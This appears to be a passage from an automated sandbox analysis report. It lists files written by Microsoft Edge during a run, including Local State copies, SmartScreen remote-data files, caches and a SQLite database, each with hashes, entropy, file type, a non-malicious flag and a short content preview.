Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cbdc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF409d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b591.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51218.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.999397677442515
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXlUQBXqY:YWLSGTt1o9LuLgfGBPAzkVj/T8l+Sj
MD5:	B0FBD2FD06CDEE6CFCD5B9A7ED2DFD74
SHA1:	B5F8677279E4DD76D3CCB680C215FBE4C0C556F8
SHA-256:	64DC4468CEAA2DEB8E174C9680ADEB57A8BA53D7470215EA2656C0022E499C17
SHA-512:	709B4C4D3855ABF7FAF8E541FCA3644093245BA8EE9F265049A398F9FDCE6C937A43D7D112B3A60737C7C4992DD24DC6B100021806DA11C150778D16AB71368A
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732911876912041}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ab1a232b-7a9e-4b19-adeb-ccb706776a22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44988
Entropy (8bit):	6.09629904117234
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWfTi1zNtNGX+ku7Lp9U2KKhKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yOlGX+nPKtSmd6qE7lFoC
MD5:	A6D751BCC1A2E4C1012A556BDF419F70
SHA1:	0DA0A45613AB3A5D649D7EEBE71941CFE35C25C0
SHA-256:	BB854CC46CB44FD5A71A6ADF57DB6DAD885D5B766BC00A6C31486FB7C8595431
SHA-512:	5EFD90CFDF8EF463DC44258E7975C811EA3D2EAE6D806BB9DD33FCC29C67CCAD77C243E3ADE533A2D01A3808335510B2CB4FD051CBB5C836401D8450DDDF3338
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwc